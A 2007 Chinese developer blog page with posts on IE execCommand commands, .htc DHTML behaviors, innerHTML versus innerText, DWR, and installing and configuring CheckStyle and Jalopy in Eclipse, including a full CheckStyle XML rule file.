BackColor;document.execCommand("BackColor","false",sColor);设置背景颜色;ie4.0

BlockDirLTR;none;使块级元素排版方式为从左到右?;不支持

BlockDirRTL;none;使块级元素排版方式为从右到左?;不支持 Bold;document.execCommand("Bold","false",null);使选中区域的文字加粗;ie4.0

BrowseMode;none;设置浏览器模式?;不支持 Copy;

document.execCommand("Copy","false",null);复制选中的文字到剪贴板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);设置指定锚点为书签;ie4.0

CreateLink;document.execCommand("CreateLink","false",sLinkURL);将选中文本变成超连接,若第二个参数为true,会出现参数设置对话框;ie4.0

Cut;document.execCommand("Cut","false",null);剪贴选中的文字到剪贴板;ie4.0

Delete;document.execCommand("Delete","false",null);删除选中的文字;ie4.0

DirLTR;none;排版方式为从左到右?;不支持 DirRTL;none;排版方式为从右到左?;不支持

EditMode;none;设置编辑模式?;不支持

FontName;document.execCommand("FontName","false",sFontName);改变选中区域的字体;ie4.0

FontSize;document.execCommand("FontSize","false",sSize|iSize);改变选中区域的字体大小;ie4.0

ForeColor;document.execCommand("ForeColor","false",sColor);设置前景颜色;ie4.0

FormatBlock;document.execCommand("FormatBlock","false",sTagName);设置当前块的标签名;ie4.0

55.可以在TEXTAREA中实现在光标处用脚本来加入文本吗?

<form>

<textarea cols="50"></textarea>

<br/>

<textarea cols="50"></textarea>

<br/>

<textarea cols="50"></textarea>

<br/>

<input type=button value="paste" onclick=paste()>

<input type="reset" name="Reset" value="Reset">

<script language=JavaScript>

var lastElement=null;

function BlurText()

{

lastElement=event.srcElement;

}

for(var i in document.all)

{

var Element=document.all[i];

if(Element.tagName=="TEXTAREA")

// if(Element.type=="text")

Element.onblur=BlurText;

}

function paste()

{

lastElement.focus();

document.execCommand("paste");

}

</script>

</form>
56.什么是.htc?

作者:沈欣  出处:china.com

在微软IE 5.0版本的浏览器发布以前,网页编程中面对的最大挑战就是不能轻易地创建组件,以达到代码重用和多页面共享的目的。这个问题一直困扰着DHTML(动态 HEML)的网页编程者。他们只能不断地重复书写HTML、CSS和JAVASCRIPT的代码,以满足多个页面上的重复或相似的功能。自IE 5.0浏览器发布后,这种情况得到了改善,它带给我们一个新的指令组合方法,可把实现特定功能的代码封装在一个组件内,从而实现多页面的代码重用,使网页编程进入一个全新的天地。这个新的技术就是我们要谈到的DHTML中的“行为”(Behaviors)。

  “行为”作为一个简单易用的组件,它封装了页面上特定的功能或动作。当把一个“行为”附到WEB页面中的一个元件上时,这个元件的原有行为就会有所改变。因此,网页编程者可以开发通用的DHTML指令,并改变原有对象的一些属性,用“行为”来增强一个对象的功能,同时也简化了页面的HTML代码。而且“行为”的创建和使用也非常简单方便,所需的知识也只是原来已经习惯使用的CSS样式表、HTML指令和JAVASCRIPT脚本语言。只要你对此有所了解,有过实际编程的经历,学习并掌握“行为”的使用完全没有问题。我们将以一个改变字体效果的“行为”组件为例来说明如何编写和使用一个“行为”,并体验“行为”给页面编辑带来的优点和方便之处。

  首先新建一个名为font_efftce.htc的文本文件,组成“行为”组件的文件都是以.htc为扩展名,这个文件中的内容就是我们对这个“行为”的描述。它的创建和使用步骤如下:

(1)首先给这个“行为”增加几个事件响应,语句书写格式如下:

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

  “EVENT”对应所需事件名,在这里分别为:onmouseover,onmouseout,onmousedown,onmouseup四个事件名,你当然可以再增加其它的事件名来满足你的特定需求。“ONEVENT”对应着个自的事件句柄,即事件触发时所调用的函数名称。glowit()函数使字体周围产生一个红色的辉光。noglow()函数是消除字体的辉光效果。Font2yellow()函数是把字体颜色改为黄色。Font2blue()函数是把字体颜色改为蓝色。四个事件的定义都是相似的。

(2)接下来,再给这个“行为”增加二个“方法”定义,内容如下。

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

  “NAME”参数对应的是给定的“方法”名称。move_down和move_right分别是向下和向右移动的“方法”对应的函数名称。注意,在方法名的后面不要带“( )”括号,即不要写成“move_down()”这个样子,这在“方法”定义的语法上是不允许的。

(3)接下来的工作就是在我们熟悉的DHTML环境下,用JAVASCRIPT脚本语句编写“事件句柄”和“方法”所对应的函数内容,实现预期的效果。具体内容参考下面的源程序。其中的“element”参数指的是这个“行为”所附着的对象,因为“行为”总是被附着到页面的元件上面,并通过这个元件发挥作用。其它语句都是DHTML的编程内容,就不再多说了。如有不明之处,可参考微软的MSDN开发文档中有关IE浏览器的内容,上面有详细的DHTML编程参考内容、属性和方法使用说明等,并包含了大量的文章和举例程序。经常访问微软的MSDN文档,尤其对于初学者来说是一个良好的学习习惯,你几乎可以得到任何你想找的答案,它的网址为:http://msdn.microsoft.com/ie/。

  完整的“行为”文档“font_effect.htc”的内容如下:

////////////////////////////“行为”文档开始///////////////////////////////////

//给“行为”增加四个鼠标事件

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

//给“行为”定义二个方法

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

< SCRIPT LANGUAGE="JScript" >

//定义一个保存字体颜色的变量

var font_color;

//定义向下移动文字的方法

function move_down()

{

element.style.posTop+=2;

}

//定义向右移动文字的方法

function move_right()

{

element.style.posLeft +=6;

}

//定义鼠标onmouseup事件的调用函数

function font2blue(){

if (event.srcElement == element)

{

element.style.color='blue';

}

}

//定义鼠标onmousedown事件的调用函数

function font2yellow(){

if (event.srcElement == element)

{

element.style.color='yellow';

}

}

//定义鼠标onmouseover事件的调用函数

function glowit()

{

if (event.srcElement == element)

{

font_color=style.color;

element.style.color='white';

element.style.filter="glow(color=red,strength=2)";

}

}

//定义鼠标onmouseout事件的调用函数

function noglow()

{

if (event.srcElement == element)

{

element.style.filter="";

element.style.color=font_color;

}

}

< /SCRIPT >

//////////////////“行为”文档结束///////////////////////////////

(4)如何在一个页面上使用“行为”

  在页面上使用“行为”组件,并不需要学习新的知识。所需的知识的也不过是CSS样式表和HTML的设置而已,请看下面的语句。

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

  可以看出,这和以前我们已经熟知的样式表设置完全相同。上面的语句定义了一个样式名:“myfilter”,其中对我们来说比较新的内容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行为”属性名,这就是“行为”在样式表中的设置方式。括号中的内容是“行为”文档的文件名,本例中表明“行为”文档在与页面文件在同一个目录下,如果“行为”文档安置在其它目录下,在此参数的前面要加上相应的路径名,以保证可以正确地定位“行为”文档的位置。此“样式”中的其它内容就是普通的样式属性设置,可根据你的需要增减,但在此例中,由于使用了“glow”滤镜效果,至少要设置一个宽度(width)属性。通过以上的样式指定,我们就有了一个名为:“myfilter”的样式,它附带一个有字体变化效果的“行为”。如果你想要在一个页面元件上使用这个附带“行为”的样式,同样也很简单,只要把这个“样式名”安置在元件的属性设置区域即可,见下面的语句。

< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >

< span class='myfilter' >鼠标指向后产生辉光< /span >

  以上语句里面没有什么新的内容,class='myfilter'就是我们所熟悉的样式设置。在第一个“span”标记的属性中还定义了一个“id”标记,稍后就会看到,这是用来演示调用“行为”内的“方法”而设置的。这样设置后,“span”元件中的内容就可以显示出“行为”组件内的预定效果:
1. 鼠标指针移动到文字内容上时,在文字周围产生红色的辉光效果,同时文字变成白色。

2. 当鼠标按钮按下时,文字颜色改变为黄色。

3. 鼠标按钮抬起后,文字颜色又改变为蓝色。

4. 当鼠标指针移动到文字区域以外时,去掉了红色辉光效果,文字恢复原样。

  另外,我们在定义“行为”时设置了二个“方法”,“move_down”和“move_right”。为调用这二个“方法”,定义了二个按钮:

< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移动第一行文字< /button >

  用按钮的onclick事件去调用这二个“方法”,先前定义的“id”标记就作为元件的对象名称,用“myspan.move_down”来调用“方法”,操纵这个对象。可以看到,在按下相应的按钮后,会使第一行的文字产生向下或向右的移动。虽然只是用第一行文字做了示范,实际上,只要做相应的设置,你也可以移动其它对象。页面源文档的完整内内容如下:

< html >

< HEAD >

< TITLE >行为效果演示< /TITLE >

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

< /HEAD >

< BODY >

< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >

< span class='myfilter' >鼠标指向后产生辉光< /span >< br >

< span class='myfilter' >同时文字变白< /span >< br >

< span class='myfilter' >按下鼠标后文字变黄< /span >< br >

< span class='myfilter' >抬起鼠标后文字变蓝< /span >< br >

< span class='myfilter' >鼠标离开后文字恢复原状< /span >< br >

< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移动第一行文字< /button >

< /BODY >

< /html >

  通过以上的简单介绍,可以看出,我们很容易地在一个“行为”中同时组合了多种文字变化效果,通过简单的“样式”设置,任意地将它与页面元件相关连,体现了“行为”组件的优点和强大功能。一个“行为”组件,不仅能在一个页面内重复使用,也可供同一站点上的所有页面使用。试想一下,如果不使用“行为”来完成上述的效果,虽然可以在页面内调用一组预定的函数来完成同样的功能,但页面内每一个使用文字效果的元件都要附加四个鼠标事件,如果在多个页面内使用相同的效果,被调用的函数也需要在每一个页面内重复设置。相比之下,孰优孰劣是很明显的。所以,使用“行为”组件,可以制作出简洁、高效、通用和便于维护的页面。本文的举例只是为了说明“行为”组件的编写和使用过程,使读者对“行为”编程有一个概括的了解,并以此基础制作出自己所需要的“行为”组件,或直接引用满足个人需要的现成“行为”组件,因为“组件共享”的概念也是“行为”开发者的初衷。最后,愿本文能起到“抛砖引玉”的目的,使读者步入精彩的DHTML网页编程天地。

说明:

HTC是HTML component的缩写,

是IE5.0的主要扩展之一,

除了具备一般组件的可重用优点之外,

还具有易于开发使用等优点,

因为需要引入外部文件,这里就不举例了,宝库里有例子.

控件和组件

HTC提供了一个简单机制以在脚本中实现DHTML行为。一个HTC文件和HTML文件没有任何差别,并且以“.htc”为后缀,

可以使用HTC实现以下行为:

设定属性和方法。通过“PROPERTY”和“METHOD”元素定义

设置自定义事件。通过“EVENT”元素实现,用该元素的“fire()”方法释放事件,

通过“createEventObject()”方法设置事件环境。

访问所包含该HTC的的HTML页的DHTML对象模型,使用HTC的“element"对象,返回

一个附加行为的元素,使用该对象,HTC可以访问包含文挡及它的对象模型(属性、方法、事件)。

收取通知,使用”ATTACH“元素实现,浏览器不但通知HTC标准的DHTML事件,而且通知HTC两种特殊事件:oncontentready事件和ondocumentready事件 。

定义标记和命名空间

HTC的基础是自定义标记

要为页面定义自定义标记,必须为该标记提供命名空间

要使用该标记必须在该标记前加上正确的XML命名空间前缀

例如:

定义一个新标记RIGHT的例子

<HTML XMLNSOCJS>

<HEAD>

<STYLE>

@media all {

DOCJSRIGHT {text-align:right; width:100}

}

</STYLE>

</HEAD>

<BODY>

<DOCJS:RIGHT>

Read Doc JavaScript's columns, tips, tools, and tutorials

</DOCJS:RIGHT>

</BODY>

</HTML>

可以在单个HTML标记

中定义多个命名空间:

<HTML XMLNSOCJS XMLNSOCJAVASCRIPT>

组件定义

组件的名字是由HTC文档里定义在第一行的XML命名空间决定的

该页不用调用其他的HTC话,就只有一个命名空间定义

实际上,HTML组件的定义就是自定义标签行为的定义

该行为包括一个属性和一个事件:

<HTML xmlns:MyTag>

<HEAD>

<PUBLIC:COMPONENT tagName="MyTag">

<PROPERTY NAME="value"></PROPERTY>

<ATTACH EVENT="oncontentready" ONEVENT="fnInit()"<>/ATTACH>

</PUBLIC:COMPONENT>

<STYLE>//为组件定义样式表

.cssMyTag{

}

</STYLE>

<SCRIPT language=JavaScript>

function MyTagBehavior1(){} //为组件定义方法

</SCRIPT>

</HEAD>

<BODY onclick=MyTagBehavior1> //为组件定义响应事件

</BODY>

</HTML>

其中的oncontentready是在组件被调用者完全导入时触发

再看看fnInit()

function fnInit() {

document.body.innerHTML = element.value;//设定组件显示内容

document.body.className = "clsMyTag"; //设定显示样式表,

defaults.viewLink = document; //使本组件对其他文档可见

element.aProperty = element.value; //设置组件的属性值

}

组件的调用

<HTML xmlns:MyCom>

<HEAD>

<?IMPORT NAMESPACE="MyCom" IMPLEMENTATION="MyTag.htc"/>

</HEAD>

<BODY>

<MyCom:MyTag></MyCom:MyTag>

</BODY>

</html>

57.如何把页面加入用户的收藏夹?

<a href="javascript:window.external.AddFavorite('http://www.bihu.net','织梦乱弹')">收藏</a>

posted @ 2007-05-11 14:26 牛宝雷 阅读(455) | 评论 (0) | 编辑 收藏
 
js中innerHTML与innerText的用法与区别

用法:

<div id="test">
   <span style="color:red">test1</span> test2
</div>

在JS中可以使用:

test.innerHTML:

  也就是从对象的起始位置到终止位置的全部内容,包括Html标签。

  上例中的test.innerHTML的值也就是“<span style="color:red">test1</span> test2 ”。

test.innerText: 

  从起始位置到终止位置的内容, 但它去除Html标签 

  上例中的text.innerTest的值也就是“test1 test2”, 其中span标签去除了。

test.outerHTML:

  除了包含innerHTML的全部内容外, 还包含对象标签本身。

  上例中的text.outerHTML的值也就是<div id="test"><span style="color:red">test1</span> test2</div>


完整示例:

<div id="test">
   <span style="color:red">test1</span> test2
</div>

<a href="javascript:alert(test.innerHTML)">innerHTML内容</a>
<a href="javascript:alert(test.innerText)">inerHTML内容</a>
<a href="javascript:alert(test.outerHTML)">outerHTML内容</a>

特别说明:

  innerHTML是符合W3C标准的属性,而innerText只适用于IE浏览器,因此,尽可能地去使用innerHTML,而少用innerText,如果要输出不含HTML标签的内容,可以使用innerHTML取得包含HTML标签的内容后,再用正则表达式去除HTML标签,下面是一个简单的符合W3C标准的示例:

<a href="javascript:alert(document.getElementById('test').innerHTML.replace(/<.+?>/gim,''))">无HTML,符合W3C标准</a>

posted @ 2007-05-10 12:09 牛宝雷 阅读(230) | 评论 (0) | 编辑 收藏
 
DWR介绍
DWR(直接Web远程控制)项目是在[Apache许可]下的一个开源的解决方案,它供给那些想要以一种简单的方式使用[AJAX]和[XMLHttpRequest]的开发者。它具有一套[Javascript]功能集,它们把从HTML页面调用应用服务器上的[Java]对象的方法简化了。它操控不同类型的参数,并同时保持了HTML代码的可读性。

DWR不是对一个设计的插入,也不强迫对象使用任何种类的继承结构。它和servlet框架内的应用配合的很好。对缺少[DHTML]编程经验的开发者来说,DWR也提供了一个[JavaScript]库包含了经常使用的DHTML任务,如组装表,用item填充select下拉框,改变HTML元素的内容,如<div>和<span>。DWR网站是详尽的并且有大量的文档。

详细文档:http://wiki.matrix.org.cn/Wiki.jsp?page=DWR

posted @ 2007-05-09 17:11 牛宝雷 阅读(655) | 评论 (0) | 编辑 收藏
 
[DWR(Ajax)]DWR使用笔记
     摘要:     DWR是一个框架,简单的说就是能够在javascript直接调用java方法,而不必去写一大堆的javascript代码。它的实现是基于ajax的,可以实现无刷新效果。     网上有不少DWR的例子,但大都只是某种方法的调用,本文只在使用层面上介绍DWR,并不涉更多的技术与设计...  阅读全文
posted @ 2007-05-09 17:08 牛宝雷 阅读(5156) | 评论 (4) | 编辑 收藏
 
Eclipse 中CheckStyle安装和使用指南

Eclipse 中CheckStyle安装和使用指南
1      概述
1.1      在软件开发的过程中,以下几种情形随处可见
1.1.1      软件维护时间长,而且维护人员的积极性不高
做过软件维护的开发人员,尤其是在接手不是自己开发产品的源码的时候,即使有良好的文档说明,仍然会对代码中冗长、没有注释的段落"叹为观止"。理解尚且如此困难,何况要修改或者增加新的功能。因此,很多开发人员不愿意进行软件维护的工作。
1.1.2      新的开发人员融入团队的时间比较长
除了没有良好的培训、文档等有效的机制以外,每个人一套的编码风格,也容易造成新成员对于已有代码的理解不够,甚至出现偏差。

编码规范,作为解决以上问题的方案已经得到了很长时间的应用。而在产品或者项目实际开发的过程中,仅有Code Conventions是不能解决Code的问题的。它往往和Code Review配合,作为代码质量保证的手段。
1.2      Code Review的层次与内容
1.2.1Code Review的层次与内容
Code Review就是审查代码的质量。根据形式分为两种,一种是交叉代码审查,就是自己的代码由他人来检查,就象检查作业一样;另一种是代码会审,就是以会议的形式,大家共同审核代码的质量。
1.1.3      Code Review 的目的
      在项目早期就能够发现代码中的BUG
      帮助初级开发人员学习高级开发人员的经验,达到知识共享
      避免开发人员犯一些很常见,很普通的错误; 保证项目组人员的良好沟通;项目或产品的代码更容易维护
1.1.4      一般情况下,Code Review的内容与层次如下
      编码风格与代码规范一致性:检查代码是否符合编码规范,确保所有人写的代码基本一致
      代码满足基本的功能要求:检查代码的逻辑实现,以及单元测试的编写策略,确认实现功能性需求
      代码满足性能等非功能性需求:非功能性需求一般不便于测试,需要借助一定的工具和Review人员的素质,针对编码中对于性能影响的瓶颈给出解决方案
      去除冗余,提高代码可读性:适当使用 Refactorying技术,去除代码中的Bad Smell;如果有需要,可以Refactorying to Pattern
2      CheckStyle安装

在Eclipse当中安装CheckStyle插件非常方便,我们可以参照以下五个步骤进行:

2.1在Eclipse当中分别打开一下菜单 Help->Software Updates->Find and Install

2.2选择 Search for new features to install 选项然后点击 Next

2.3新建一个 New Remote Site...

2.4输入名称(比如:Checkstyle Plug-in) 和下面的的 URL: http://eclipse-cs.sourceforge.net/update

2.5开始安装


3CheckStyle使用方法


3.1查看

安装好CheckStyle以后,不符合CheckStyle编码规范的信息将会出现在”问题(problem)”视图当中:

 

可以点击问题视图的”过滤器:;配置显示内容:


CheckStyle的检查规则包含在XML格式的配置文件里。CheckStyle默认的sun规范检查文件是:sun_checks.xml


3.2配置

CheckStyle: Windows ==> perference ==> checkstyle 配置的导入/导出就在配置界面右侧

 

我们也可以导出以后,经过修改量身定做自己的规范,比如我们已经按照规范做好了一个代码规范文件,并且取名为中企动力,那么我们可以把这个规范导入,在location中加入自定义的xml文件

Type选择External Configuration File,名称填上:中企动力,然后填上相应的描述,然后点击browse按钮找到相应的配置文档,点击ok就可以了.
这样checkstyle当中又多了一个叫做中企动力的规范

 

标准配置的导入/导出功能可以大大降低开发人员针对以上工具的学习时间,对于大部分开发者来说不需要详细了解其中所有的选项配置,只要知道将标准配置导入就可以了。

3.3使用


    CheckStyle是一个非常复杂的代码风格检查过程:包括缩进,命名规范等,因此缺省是Disable的,启动针对一个项目的CheckStyle需要在点:项目的properties==>CheckStyle==>Checkstyle active for this project勾上

 
同时我们可以对该项目的checkstyle制定代码规范,可以点击右边的add按钮,弹出编辑窗口,然后下拉(Check Configuration)条选定指定相应的规范,这里用那个我们刚才已经配置写的那个叫做”中企动力”的规范

 

这样,我们就能使用CheckStyle对文档进行规范了,下面这个例子是使用CheckStyle以后,在eclipse中对不符合规范的代码进行标注,这样我们就可以按照”中企动力”规范对代码进行约束了.
下图当中左边的放大镜图标表示此行代码不符合规范,当鼠标悬停在上面的时候,会显示这行代码的问题所在.

 当然,在使用jalopy之后,可以使你根据CheckStyle修改的problem少一些。当然,eclipse中的formate也有同样的功能,但是在符合sun CheckStyle的要求上,jalopy相对好一些

 

4结论

我们可以利用CheckStyle可以方便的对于编码的Code Conventions进行检查,同时,也有效地减少了Code Review的工作,使得开发人员的精力更多的集中到逻辑和性能检查。同时, 修改、定型CheckStyle的配置文件:按照基本配置文件执行一段时间(2~3周),听取开发人员的反馈意见,修改配置信息.

posted @ 2007-05-09 12:26 牛宝雷 阅读(8564) | 评论 (2) | 编辑 收藏
 
checkStyle与jalopy使用文档
 

1.简介

    Checkstyle与Jalopy分别是代码校验和代码美化(formate)工具。在上次的Checkstyle的培训中,暴露出来的一个问题是sun Checkstyle可以查出代码不规范的地方,但是不能修复,即不能美化。Jalopy能很好的解决这个问题。

2.安装

    2.1 Checkstyle的安装

        Checkstyle的安装在培训中已有说明,现不做特别解释。

    2.2 jalopy的安装

        在邮件的附件中,有Jalopy的安装包:jalopy-eclipse-0.2-1.5rc3.zip

        解压后把包放到\eclipse\plugins中。

 

        如果这样放置后,在使用中(在3中会说到如何使用)若没有效果,则采用link。    具体做法是:在 \eclipse\links中定义文件joloy.link(以.link为后缀,名字随意),

  文件内容为jalopy解压后放置路径,形式为:

path=D:\\eclipse\\plugins\\de.hunsicker.jalopy.plugin.eclipse_0.2-1.5rc3,重启eclipse即可

3.使用

    3.1 Checkstyle使用

在eclipse中选中一个工程,右键->properties,在出现的对话框左侧选中Checkstyle,然后选中Checkstyle active for this project.

经过上面一系列操作后,查看选中工程中的JAVA类,查看所写类是否符合编码规范。
 
 

3.2 Jalopy使用

在选中工程的JAVA类中,若存在编码规范问题,点右键,选中Format with Jalopy即可。

 

posted @ 2007-05-09 11:07 牛宝雷 阅读(1714) | 评论 (0) | 编辑 收藏
 
SUN CheckStyle一般问题解决
 

在使用CheckStyle时,有些常见的warn解决方案,现列举如下:

 

1.      不要引用不用的包

2.      在javadoc的问题上:在程序开始时要加javadoc,说明作者,后面可以不加句点;在方法和变量前的javadoc,在最后结束时,一定要加上句点,并且句点前面有一个空白。

3.       每一行的字符不能超过120个。

4.       一行的结尾,也就是分号后面不要有空格;“+,&&,< ,>”前面和后面都要有空格。一般右括号的后面都要有空格,左括号的前面看情况而定(在方法参数中,前没有空格,在if时,就有空格,根据实际情况定)。在一行字符超过120个的基础上,+,&&为优先换行的标识。

5.       一个方法的最大长度为150行

6.       在接口中,方法前面不需要有public

7.       程序的开始“{,(”一定要在一行的结束,不能另起一行。“}”一定要另起一行

 

以上是使用checkstyle后,最长见到的几个warn。

因为CheckStyle没有经过项目的真正使用,肯定还会有一些新的问题。如果遇到什么新的warn,可以和我联系一下,一起讨论解决。

posted @ 2007-05-09 10:35 牛宝雷 阅读(435) | 评论 (0) | 编辑 收藏
 
SUN CheckStyle编码规范

      前段时间研究了一下SUN的编码规范,公司在经过再三考虑之后,决定在我们项目组试用。
      以下是我以过对SUN的CheckStyle进行学习后修正的XML文档,在eclipse中导入后即可使用。下面中以<module>开关的,被我注释掉的部分为我们修正的部分。
      相关的详细信息,可以参看下面每个module对应的url。
      <?xml version="1.0"?>
<!DOCTYPE module PUBLIC
    "-//Puppy Crawl//DTD Check Configuration 1.2//EN"
    "http://www.puppycrawl.com/dtds/configuration_1_2.dtd">

<module name="Checker">
 <property name="severity" value="warning"/>

    <!-- Checks that a package.html file exists for each package.     -->
    <!-- See http://checkstyle.sf.net/config_javadoc.html#PackageHtml -->
    <module name="PackageHtml"/>

    <!-- Checks whether files end with a new line.                        -->
    <!-- See http://checkstyle.sf.net/config_misc.html#NewlineAtEndOfFile -->
    <!--<module name="NewlineAtEndOfFile"/>-->

    <!-- Checks that property files contain the same keys.         -->
    <!-- See http://checkstyle.sf.net/config_misc.html#Translation -->
    <!--<module name="Translation"/>-->


    <module name="TreeWalker">

        <!-- Checks for Javadoc comments.                     -->
        <!-- See http://checkstyle.sf.net/config_javadoc.html -->
        <module name="JavadocMethod"/>
        <module name="JavadocType"/>
        <module name="JavadocVariable"/>
        <module name="JavadocStyle"/>


        <!-- Checks for Naming Conventions.                  -->
        <!-- See http://checkstyle.sf.net/config_naming.html -->
  <module name="ConstantName"/>
        <module name="LocalFinalVariableName">
   <property name="format" value="^[a-z][a-zA-Z0-9]*(_[a-zA-Z0-9]+)*$"/>
  </module>
        <module name="LocalVariableName">
   <property name="format" value="^[a-z][a-zA-Z0-9]*(_[a-zA-Z0-9]+)*$"/>
  </module>
        <module name="MemberName">
   <property name="format" value="^[a-z][a-zA-Z0-9]*(_[a-zA-Z0-9]+)*$"/>
  </module>
        <module name="MethodName"/>
        <module name="PackageName"/>
        <module name="ParameterName"/>
        <module name="StaticVariableName">
   <property name="format" value="^[a-z][a-zA-Z0-9]*(_[a-zA-Z0-9]+)*$"/>
  </module>
        <module name="TypeName"/>


        <!-- Checks for Headers                                -->
        <!-- See http://checkstyle.sf.net/config_header.html   -->
        <!-- <module name="Header">                            -->
            <!-- The follow property value demonstrates the ability     -->
            <!-- to have access to ANT properties. In this case it uses -->
            <!-- the ${basedir} property to allow Checkstyle to be run  -->
            <!-- from any directory within a project. See property      -->
            <!-- expansion,                                             -->
            <!-- http://checkstyle.sf.net/config.html#properties        -->
            <!-- <property                                              -->
            <!--     name="headerFile"                                  -->
            <!--     value="${basedir}/java.header"/>                   -->
        <!-- </module> -->

        <!-- Following interprets the header file as regular expressions. -->
        <!-- <module name="RegexpHeader"/>                                -->


        <!-- Checks for imports                              -->
        <!-- See http://checkstyle.sf.net/config_import.html -->
        <module name="AvoidStarImport"/>
        <!--<module name="IllegalImport"/> --><!-- defaults to sun.* packages -->
        <module name="RedundantImport"/>
        <module name="UnusedImports"/>


        <!-- Checks for Size Violations.                    -->
        <!-- See http://checkstyle.sf.net/config_sizes.html -->
        <module name="FileLength"/>
        <!--<module name="LineLength"/>-->
  <module name="LineLength">
   <property name="max" value="120"/>
  </module>
        <module name="MethodLength"/>
        <!--<module name="ParameterNumber"/>-->


        <!-- Checks for whitespace                               -->
        <!-- See http://checkstyle.sf.net/config_whitespace.html -->
        <!--<module name="EmptyForIteratorPad"/>-->
        <module name="MethodParamPad"/>
        <module name="NoWhitespaceAfter"/>
        <module name="NoWhitespaceBefore"/>
        <module name="OperatorWrap"/>
        <module name="ParenPad"/>
        <module name="TypecastParenPad"/>
        <!--<module name="TabCharacter"/>-->
        <module name="WhitespaceAfter"/>
        <module name="WhitespaceAround"/>


        <!-- Modifier Checks                                    -->
        <!-- See http://checkstyle.sf.net/config_modifiers.html -->
        <module name="ModifierOrder"/>
        <module name="RedundantModifier"/>


        <!-- Checks for blocks. You know, those {}'s         -->
        <!-- See http://checkstyle.sf.net/config_blocks.html -->
        <module name="AvoidNestedBlocks"/>
        <module name="EmptyBlock"/>
        <module name="LeftCurly"/>
        <module name="NeedBraces"/>
        <module name="RightCurly"/>


        <!-- Checks for common coding problems               -->
        <!-- See http://checkstyle.sf.net/config_coding.html -->
        <module name="AvoidInlineConditionals"/>
        <module name="DoubleCheckedLocking"/>    <!-- MY FAVOURITE -->
        <module name="EmptyStatement"/>
        <module name="EqualsHashCode"/>
        <!--<module name="HiddenField"/>-->
        <module name="IllegalInstantiation"/>
        <module name="InnerAssignment"/>
        <!--<module name="MagicNumber"/>-->
        <module name="MissingSwitchDefault"/>
        <module name="RedundantThrows"/>
        <module name="SimplifyBooleanExpression"/>
        <module name="SimplifyBooleanReturn"/>

        <!-- Checks for class design                         -->
        <!-- See http://checkstyle.sf.net/config_design.html -->
        <!--<module name="DesignForExtension"/>-->
        <module name="FinalClass"/>
       <!-- <module name="HideUtilityClassConstructor"/>-->
        <!--<module name="InterfaceIsType"/>-->
        <module name="VisibilityModifier"/>


        <!-- Miscellaneous other checks.                   -->
        <!-- See http://checkstyle.sf.net/config_misc.html -->
        <module name="ArrayTypeStyle"/>
        <!--<module name="FinalParameters"/>-->
        <module name="GenericIllegalRegexp">
            <property name="format" value="\s+$"/>
            <property name="message" value="Line has trailing spaces."/>
        </module>
        <!--<module name="TodoComment"/>
        <module name="UpperEll"/>-->

    </module>

</module>

下面这个XML文件,与上面的一样,不过加了些中文注释,如下:
<?xml version="1.0"?>
<!DOCTYPE module PUBLIC
    "-//Puppy Crawl//DTD Check Configuration 1.2//EN"
    "http://www.puppycrawl.com/dtds/configuration_1_2.dtd">

<!--

  Checkstyle configuration that checks the sun coding conventions from:

    - the Java Language Specification at
      http://java.sun.com/docs/books/jls/second_edition/html/index.html

    - the Sun Code Conventions at http://java.sun.com/docs/codeconv/

    - the Javadoc guidelines at
      http://java.sun.com/j2se/javadoc/writingdoccomments/index.html

    - the JDK Api documentation http://java.sun.com/j2se/docs/api/index.html

    - some best practices

  Checkstyle is very configurable. Be sure to read the documentation at
  http://checkstyle.sf.net (or in your downloaded distribution).

  Most Checks are configurable, be sure to consult the documentation.

  To completely disable a check, just comment it out or delete it from the file.

  Finally, it is worth reading the documentation.

-->

<module name="Checker">
 <property name="severity" value="warning"/>

    <!-- Checks that a package.html file exists for each package.     -->
    <!-- See http://checkstyle.sf.net/config_javadoc.html#PackageHtml
 检查是否有一个兄弟html文件-->
    <module name="PackageHtml"/>

    <!-- Checks whether files end with a new line.                        -->
    <!-- See http://checkstyle.sf.net/config_misc.html#NewlineAtEndOfFile
 检查文件是否以新的一行结尾-->
    <!--<module name="NewlineAtEndOfFile"/>-->

    <!-- Checks that property files contain the same keys.         -->
    <!-- See http://checkstyle.sf.net/config_misc.html#Translation
 检查资源文件是否一致-->
    <!--<module name="Translation"/>-->


    <module name="TreeWalker">

        <!-- Checks for Javadoc comments.                     -->
        <!-- See http://checkstyle.sf.net/config_javadoc.html
  检查方法,类和接口,变量是否有javadoc,
  javadocStyle是检查以上的javadoc是否规范,如以.结尾,有@param,@returnt等-->
        <module name="JavadocMethod"/>
        <module name="JavadocType"/>
        <module name="JavadocVariable"/>
        <module name="JavadocStyle"/>


        <!-- Checks for Naming Conventions.                  -->
        <!-- See http://checkstyle.sf.net/config_naming.html
  检查变量是否符合规范(正则表达示),在全局上可以使用,但是可以变通,有warn也不用修改-->
        <module name="ConstantName"/>
        <module name="LocalFinalVariableName"/>
        <module name="LocalVariableName"/>
        <module name="MemberName"/>
        <module name="MethodName"/>
        <module name="PackageName"/>
        <module name="ParameterName"/>
        <module name="StaticVariableName"/>
        <module name="TypeName"/>


        <!-- Checks for Headers                                -->
        <!-- See http://checkstyle.sf.net/config_header.html   -->
        <!-- <module name="Header">                            -->
